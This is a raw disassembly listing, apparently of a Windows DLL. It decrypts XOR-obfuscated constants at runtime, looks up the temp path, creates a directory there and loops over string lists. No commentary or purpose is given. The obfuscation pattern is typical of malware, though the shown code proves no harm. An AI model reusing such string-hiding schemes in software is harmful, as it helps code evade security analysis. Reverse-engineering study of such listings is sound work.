lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x7110]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x70f0]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x97c0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x1c2], al
mov byte [rbp + 0x1c3], al
movabs rax, 0xb43975fad7f94689
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x8e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb010], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb018], rax
movdqa xmm0, xmmword [rbp + 0x8e0]
pxor xmm0, xmmword [rbp + 0xb010]
movdqa xmmword [rbp + 0x8e0], xmm0
lea rdx, [rbp + 0x8e0]
lea rcx, [rbp + 0x3e70]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1c4], al
mov byte [rbp + 0x1c5], al
movabs rax, 0xe13640c3cc823085
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2720], rax
movabs rax, 0x7e84c8c6642b6daf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2728], rax
movabs rax, 0x8c01ec7f7d36d41e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2730], rax
movabs rax, 0x9659e82b8c7d2cf2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2738], rax
movabs rax, 0x69261b772189a48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2740], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2748], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb600], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb608], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb610], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb618], rax
movabs rax, 0x3baf30ed0152cd11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb620], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb628], rax
vmovdqu ymm0, ymmword [rbp + 0xb600]
vpxor ymm1, ymm0, ymmword [rbp + 0x2720]
vmovdqa ymmword [rbp + 0x2720], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2740]
vpxor xmm2, xmm2, xmmword [rbp + 0xb620]
vmovdqa xmmword [rbp + 0x2740], xmm2
lea rdx, [rbp + 0x2720]
lea rcx, [rbp + 0x3e50]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3e70]
lea rcx, [rbp + 0x70d0]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x3e50]
lea rcx, [rbp + 0x70b0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa838]
lea rcx, [rbp + 0x7090]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x7070]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x9800]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x1c6], al
mov byte [rbp + 0x1c7], al
movabs rax, 0xc13a75fad7f94689
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8f0], rax
movabs rax, 0x4dd6a69c2f586ab1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb000], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb008], rax
movdqa xmm0, xmmword [rbp + 0x8f0]
pxor xmm0, xmmword [rbp + 0xb000]
movdqa xmmword [rbp + 0x8f0], xmm0
lea rdx, [rbp + 0x8f0]
lea rcx, [rbp + 0x3e30]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1c8], al
mov byte [rbp + 0x1c9], al
movabs rax, 0xe13640c3cc823085
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2760], rax
movabs rax, 0x7e84c8c6642b6daf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2768], rax
movabs rax, 0x8c01ec7f7d36d41e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2770], rax
movabs rax, 0xff73eb2b8c7d2cf2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2778], rax
movabs rax, 0x48e567b4311c8b58
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2780], rax
movabs rax, 0x14225300ef9a1730
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2788], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb640], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb648], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb650], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb658], rax
movabs rax, 0x3baf30ed0152cd11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb660], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb668], rax
vmovdqu ymm0, ymmword [rbp + 0xb640]
vpxor ymm1, ymm0, ymmword [rbp + 0x2760]
vmovdqa ymmword [rbp + 0x2760], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2780]
vpxor xmm2, xmm2, xmmword [rbp + 0xb660]
vmovdqa xmmword [rbp + 0x2780], xmm2
lea rdx, [rbp + 0x2760]
lea rcx, [rbp + 0x3e10]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3e30]
lea rcx, [rbp + 0x7050]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x3e10]
lea rcx, [rbp + 0x7030]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa838]
lea rcx, [rbp + 0x7010]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x6ff0]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x9840]
call fcn.180042fa0
nop
lea rcx, [rbp + 0x1ca]
call fcn.180004580
mov rbx, rax
lea r8, [rbp + 0x9880]
lea rdx, [rbp + 0x9480]
lea rcx, [rbp + 0x8d20]
call fcn.18003e4c0
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x2db0], xmm0
mov r8, rbx
lea rdx, [rbp + 0x2db0]
lea rcx, [rbp + 0xa470]
call fcn.18003f760
nop
lea r9, [fcn.18003dd20]
mov edx, 0x40
lea r8d, [rdx - 0x30]
lea rcx, [rbp + 0x9480]
call fcn.18012c140
nop
lea rcx, [rbp + 0x6ff0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7010]
call fcn.180040870
nop
lea rcx, [rbp + 0x7030]
call fcn.180040870
nop
lea rcx, [rbp + 0x7050]
call fcn.180040870
nop
lea rcx, [rbp + 0x3e10]
call fcn.180040870
nop
lea rcx, [rbp + 0x3e30]
call fcn.180040870
nop
lea rcx, [rbp + 0x7070]
call fcn.180040870
nop
lea rcx, [rbp + 0x7090]
call fcn.180040870
nop
lea rcx, [rbp + 0x70b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x70d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3e50]
call fcn.180040870
nop
lea rcx, [rbp + 0x3e70]
call fcn.180040870
nop
lea rcx, [rbp + 0x70f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7110]
call fcn.180040870
nop
lea rcx, [rbp + 0x7130]
call fcn.180040870
nop
lea rcx, [rbp + 0x7150]
call fcn.180040870
nop
lea rcx, [rbp + 0x3e90]
call fcn.180040870
nop
lea rcx, [rbp + 0x3eb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7170]
call fcn.180040870
nop
lea rcx, [rbp + 0x7190]
call fcn.180040870
nop
lea rcx, [rbp + 0x71b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x71d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3ed0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3ef0]
call fcn.180040870
nop
lea rcx, [rbp + 0x71f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7210]
call fcn.180040870
nop
lea rcx, [rbp + 0x7230]
call fcn.180040870
nop
lea rcx, [rbp + 0x7250]
call fcn.180040870
nop
lea rcx, [rbp + 0x3f10]
call fcn.180040870
nop
lea rcx, [rbp + 0x3f30]
call fcn.180040870
nop
lea rcx, [rbp + 0x7270]
call fcn.180040870
nop
lea rcx, [rbp + 0x7290]
call fcn.180040870
nop
lea rcx, [rbp + 0x72b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x72d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3f50]
call fcn.180040870
nop
lea rcx, [rbp + 0x3f70]
call fcn.180040870
nop
lea rcx, [rbp + 0x72f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7310]
call fcn.180040870
nop
lea rcx, [rbp + 0x7330]
call fcn.180040870
nop
lea rcx, [rbp + 0x7350]
call fcn.180040870
nop
lea rcx, [rbp + 0x3f90]
call fcn.180040870
nop
lea rcx, [rbp + 0x3fb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7370]
call fcn.180040870
nop
lea rcx, [rbp + 0x7390]
call fcn.180040870
nop
lea rcx, [rbp + 0x73b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x73d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3fd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3ff0]
call fcn.180040870
nop
lea rcx, [rbp + 0x73f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7410]
call fcn.180040870
nop
lea rcx, [rbp + 0x7430]
call fcn.180040870
nop
lea rcx, [rbp + 0x7450]
call fcn.180040870
nop
lea rcx, [rbp + 0x4010]
call fcn.180040870
nop
lea rcx, [rbp + 0x4030]
call fcn.180040870
nop
lea rcx, [rbp + 0x7470]
call fcn.180040870
nop
lea rcx, [rbp + 0x7490]
call fcn.180040870
nop
lea rcx, [rbp + 0x74b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x74d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4050]
call fcn.180040870
nop
lea rcx, [rbp + 0x4070]
call fcn.180040870
nop
lea rcx, [rbp + 0x74f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7510]
call fcn.180040870
nop
lea rcx, [rbp + 0x8d60]
call fcn.180040870
nop
lea rcx, [rbp + 0x7530]
call fcn.180040870
nop
lea rcx, [rbp + 0x4090]
call fcn.180040870
nop
lea rcx, [rbp + 0x40b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7550]
call fcn.180040870
nop
lea rcx, [rbp + 0x7570]
call fcn.180040870
nop
lea rcx, [rbp + 0x7590]
call fcn.180040870
nop
lea rcx, [rbp + 0x75b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x40d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x40f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x75d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x75f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7610]
call fcn.180040870
nop
lea rcx, [rbp + 0x7630]
call fcn.180040870
nop
lea rcx, [rbp + 0x4110]
call fcn.180040870
nop
lea rcx, [rbp + 0x4130]
call fcn.180040870
nop
lea rcx, [rbp + 0x7650]
call fcn.180040870
nop
lea rcx, [rbp + 0x7670]
call fcn.180040870
nop
lea rcx, [rbp + 0x7690]
call fcn.180040870
nop
lea rcx, [rbp + 0x76b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4150]
call fcn.180040870
nop
lea rcx, [rbp + 0x4170]
call fcn.180040870
nop
lea rcx, [rbp + 0x76d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x76f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7710]
call fcn.180040870
nop
lea rcx, [rbp + 0x7730]
call fcn.180040870
nop
lea rcx, [rbp + 0x4190]
call fcn.180040870
nop
lea rcx, [rbp + 0x41b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7750]
call fcn.180040870
nop
lea rcx, [rbp + 0x7770]
call fcn.180040870
nop
lea rcx, [rbp + 0x7790]
call fcn.180040870
nop
lea rcx, [rbp + 0x77b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x41d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x41f0]
call fcn.180040870
mov edx, 0x18
lea rcx, [rbp + 0xa458]
call fcn.1800082e0
xor eax, eax
mov byte [rbp + 0x1cb], al
mov byte [rbp + 0x1cc], al
movabs rax, 0xfa2a40c0d6ed328f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x900], rax
movabs rax, 0x4dd6a69c2f586a82
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x908], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xaff0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xaff8], rax
movdqa xmm0, xmmword [rbp + 0x900]
pxor xmm0, xmmword [rbp + 0xaff0]
movdqa xmmword [rbp + 0x900], xmm0
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0x42f0]
call fcn.180004520
nop
lea rdx, [rbp + 0x42f0]
lea rcx, [rbp + 0x9380]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x1cd], al
mov byte [rbp + 0x1ce], al
movabs rbx, 0xfa1075c3cdf13d88
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x910], rax
movabs rax, 0x4dd6a69c6a2478bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x918], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xafe0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xafe8], rax
movdqa xmm0, xmmword [rbp + 0x910]
pxor xmm0, xmmword [rbp + 0xafe0]
movdqa xmmword [rbp + 0x910], xmm0
lea rdx, [rbp + 0x910]
lea rcx, [rbp + 0x5910]
call fcn.180004520
nop
lea rdx, [rbp + 0x5910]
lea rcx, [rbp + 0x93a0]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x1cf], al
mov byte [rbp + 0x1d0], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x920], rax
movabs rax, 0x4dd6a69c6b2478bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x928], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xafd0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xafd8], rax
movdqa xmm0, xmmword [rbp + 0x920]
pxor xmm0, xmmword [rbp + 0xafd0]
movdqa xmmword [rbp + 0x920], xmm0
lea rdx, [rbp + 0x920]
lea rcx, [rbp + 0x42b0]
call fcn.180004520
nop
lea rdx, [rbp + 0x42b0]
lea rcx, [rbp + 0x93c0]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x1d1], al
mov byte [rbp + 0x1d2], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x930], rax
movabs rax, 0x4dd6a69c682478bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x938], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xafc0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xafc8], rax
movdqa xmm0, xmmword [rbp + 0x930]
pxor xmm0, xmmword [rbp + 0xafc0]
movdqa xmmword [rbp + 0x930], xmm0
lea rdx, [rbp + 0x930]
lea rcx, [rbp + 0x4290]
call fcn.180004520
nop
lea rdx, [rbp + 0x4290]
lea rcx, [rbp + 0x93e0]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x1d3], al
mov byte [rbp + 0x1d4], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x940], rax
movabs rax, 0x4dd6a69c222478bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x948], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xafb0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xafb8], rax
movdqa xmm0, xmmword [rbp + 0x940]
pxor xmm0, xmmword [rbp + 0xafb0]
movdqa xmmword [rbp + 0x940], xmm0
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0x4270]
call fcn.180004520
nop
lea rdx, [rbp + 0x4270]
lea rcx, [rbp + 0x9400]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x1d5], al
mov byte [rbp + 0x1d6], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x950], rax
movabs rax, 0x4dd6a69c232478bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x958], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xafa0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xafa8], rax
movdqa xmm0, xmmword [rbp + 0x950]
pxor xmm0, xmmword [rbp + 0xafa0]
movdqa xmmword [rbp + 0x950], xmm0
lea rdx, [rbp + 0x950]
lea rcx, [rbp + 0x4250]
call fcn.180004520
nop
lea rdx, [rbp + 0x4250]
lea rcx, [rbp + 0x9420]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x1d7], al
mov byte [rbp + 0x1d8], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x960], rax
movabs rax, 0x4dd6a69c202478bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x968], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xaf90], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xaf98], rax
movdqa xmm0, xmmword [rbp + 0x960]
pxor xmm0, xmmword [rbp + 0xaf90]
movdqa xmmword [rbp + 0x960], xmm0
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x4230]
call fcn.180004520
nop
lea rdx, [rbp + 0x4230]
lea rcx, [rbp + 0x9440]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x1d9], al
mov byte [rbp + 0x1da], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x970], rax
movabs rax, 0x4dd6a69c212478bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x978], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xaf80], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xaf88], rax
movdqa xmm0, xmmword [rbp + 0x970]
pxor xmm0, xmmword [rbp + 0xaf80]
movdqa xmmword [rbp + 0x970], xmm0
lea rdx, [rbp + 0x970]
lea rcx, [rbp + 0x4210]
call fcn.180004520
nop
lea rdx, [rbp + 0x4210]
lea rcx, [rbp + 0x9460]
call fcn.1800553f0
nop
lea rcx, [rbp + 0x1db]
call fcn.180004580
mov rbx, rax
lea r8, [rbp + 0x9480]
lea rdx, [rbp + 0x9380]
lea rcx, [rbp + 0x8d30]
call fcn.18003e4c0
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x2dc0], xmm0
mov r8, rbx
lea rdx, [rbp + 0x2dc0]
lea rcx, [rbp + 0xa458]
call fcn.18003f490
nop
lea r9, [fcn.180040870]
mov edx, 0x20
lea r8d, [rdx - 0x18]
lea rcx, [rbp + 0x9380]
call fcn.18012c140
nop
lea rcx, [rbp + 0x4210]
call fcn.180040870
nop
lea rcx, [rbp + 0x4230]
call fcn.180040870
nop
lea rcx, [rbp + 0x4250]
call fcn.180040870
nop
lea rcx, [rbp + 0x4270]
call fcn.180040870
nop
lea rcx, [rbp + 0x4290]
call fcn.180040870
nop
lea rcx, [rbp + 0x42b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x5910]
call fcn.180040870
nop
lea rcx, [rbp + 0x42f0]
call fcn.180040870
call fcn.180004e10
call fcn.180004e10
lea rdx, [rbp + 0xd830]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xor eax, eax
mov byte [rbp + 0x1dc], al
mov byte [rbp + 0x1dd], al
movabs rax, 0xf11762c089e93285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x980], rax
movabs rax, 0x4dd6a69c7a504683
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x988], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xaf70], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xaf78], rax
movdqa xmm0, xmmword [rbp + 0x980]
pxor xmm0, xmmword [rbp + 0xaf70]
movdqa xmmword [rbp + 0x980], xmm0
lea rdx, [rbp + 0x980]
lea rcx, [rbp + 0x4310]
call fcn.180004520
nop
lea rdx, [rbp + 0x4310]
lea rcx, [rbp + 0x77f0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xd830]
lea rcx, [rbp + 0x77d0]
call fcn.180004520
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xa570]
call fcn.180041fa0
nop
lea rcx, [rbp + 0x77d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x77f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4310]
call fcn.180040870
lea rcx, [rbp + 0xa570]
call fcn.18003dd10
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp + 0xa470]
call fcn.18003f470
mov rbx, rax
mov qword [rbp + 8], rax
lea rcx, [rbp + 0xa470]
call fcn.18003f460
mov qword [rbp], rax
cmp rbx, qword [rbp]
je 0x180035e6f
mov rcx, rbx
call fcn.180004580
mov rsi, rax
mov qword [rbp + 0x2e8], rax
mov rcx, rbx
call fcn.180043000
mov rbx, rax
mov qword [rbp + 0x2f8], rax
mov edx, 0x18
lea rcx, [rbp + 0xa3e0]
call fcn.1800082e0
xor eax, eax
mov byte [rbp + 0x1de], al
mov byte [rbp + 0x1df], al
movabs rax, 0xfa3a2ac0cdc33085
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x18a0], rcx
movabs rax, 0x2184fec5222b6daf
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18a8], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18b0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18b8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc960], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc968], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc970], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc978], rax
vmovdqu ymm0, ymmword [rbp + 0xc960]
vpxor ymm1, ymm0, ymmword [rbp + 0x18a0]
vmovdqa ymmword [rbp + 0x18a0], ymm1
lea rdx, [rbp + 0x18a0]
lea rcx, [rbp + 0x4330]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4330]
lea rcx, [rbp + 0x7830]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x7810]
call fcn.180041ee0
nop
mov rdx, rax
lea rcx, [rbp + 0xa3e0]
call fcn.180022fd0
nop
lea rcx, [rbp + 0x7810]
call fcn.180040870
nop
lea rcx, [rbp + 0x7830]
call fcn.180040870
nop
lea rcx, [rbp + 0x4330]
call fcn.180040870
lea rcx, [rbp + 0xa3e0]
call fcn.18003f300
test al, al
je 0x1800352ed
call fcn.180004e10
nop
lea rcx, [rbp + 0xa3e0]
call fcn.18003e630
mov rbx, qword [rbp + 8]
add rbx, 0x40
mov qword [rbp + 8], rbx
jmp 0x180035155
lea rcx, [rbp + 0xa458]
call fcn.18003f470
mov r13, rax
mov qword [rbp + 0x300], rax
lea rcx, [rbp + 0xa458]
call fcn.18003f460
mov qword [rbp + 0x310], rax
cmp r13, rax
je 0x1800352d0
lea rcx, [rbp + 0xa4c0]
call fcn.180040900
nop
xor eax, eax
mov byte [rbp + 0x1e0], al
mov byte [rbp + 0x1e1], al
movabs rax, 0xb43975fad7f94689
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x990], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x998], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaf60], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaf68], rax
movdqa xmm0, xmmword [rbp + 0x990]
pxor xmm0, xmmword [rbp + 0xaf60]
movdqa xmmword [rbp + 0x990], xmm0
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x4370]
call fcn.180004520
nop
mov ebx, dword [rbp + 0x18]
bts ebx, 0xa
mov dword [rbp + 0x18], ebx
lea rdx, [rbp + 0x4370]
lea rcx, [rbp + 0x7870]
call fcn.1800553f0
nop
bts ebx, 0xb
mov dword [rbp + 0x18], ebx
mov rdx, rax
mov rcx, rsi
call fcn.180042210
test al, al
jne 0x1800354a2
xor eax, eax
mov byte [rbp + 0x1e2], al
mov byte [rbp + 0x1e3], al
movabs rax, 0xc13a75fad7f94689
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9a0], rax
movabs rax, 0x4dd6a69c2f586ab1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9a8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaf50], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaf58], rax
movdqa xmm0, xmmword [rbp + 0x9a0]
pxor xmm0, xmmword [rbp + 0xaf50]
movdqa xmmword [rbp + 0x9a0], xmm0
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0x4350]
call fcn.180004520
nop
mov ebx, dword [rbp + 0x18]
bts ebx, 0xc
mov dword [rbp + 0x18], ebx
lea rdx, [rbp + 0x4350]
lea rcx, [rbp + 0x7850]
call fcn.1800553f0
bts ebx, 0xd
mov dword [rbp + 0x18], ebx
mov rdx, rax
mov rcx, rsi
call fcn.180042210
test al, al
jne 0x1800354a2
xor sil, sil
jmp 0x1800354a5
mov sil, 1
bt ebx, 0xd
jae 0x1800354bf
btr ebx, 0xd
mov dword [rbp + 0x18], ebx
lea rcx, [rbp + 0x7850]
call fcn.180040870
nop
bt ebx, 0xc
jae 0x1800354d9
btr ebx, 0xc
mov dword [rbp + 0x18], ebx
lea rcx, [rbp + 0x4350]
call fcn.180040870
nop
bt ebx, 0xb
jae 0x1800354f3
btr ebx, 0xb
mov dword [rbp + 0x18], ebx
lea rcx, [rbp + 0x7870]
call fcn.180040870
nop
bt ebx, 0xa
jae 0x18003550c
btr ebx, 0xa
mov dword [rbp + 0x18], ebx
lea rcx, [rbp + 0x4370]
call fcn.180040870
xor eax, eax
test sil, sil
je 0x18003564e
mov byte [rbp + 0x1e4], al
mov byte [rbp + 0x1e5], al
movabs rax, 0xfc102ac3cdc33085
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18c0], rax
movabs rax, 0x7093e1f87a376eaf
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18c8], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18d0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18d8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc980], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc988], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc990], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc998], rax
vmovdqu ymm0, ymmword [rbp + 0xc980]
vpxor ymm1, ymm0, ymmword [rbp + 0x18c0]
vmovdqa ymmword [rbp + 0x18c0], ymm1
lea rdx, [rbp + 0x18c0]
lea rcx, [rbp + 0x4390]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4390]
lea rcx, [rbp + 0x78b0]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, qword [rbp + 0x2f8]
lea rcx, [rbp + 0x7890]
call fcn.180041ee0
mov rdx, rax
lea rcx, [rbp + 0xa4c0]
call fcn.180040880
lea rcx, [rbp + 0x7890]
call fcn.180040870
nop
lea rcx, [rbp + 0x78b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4390]
call fcn.180040870
mov al, 1
movabs rsi, 0x897c189986863485
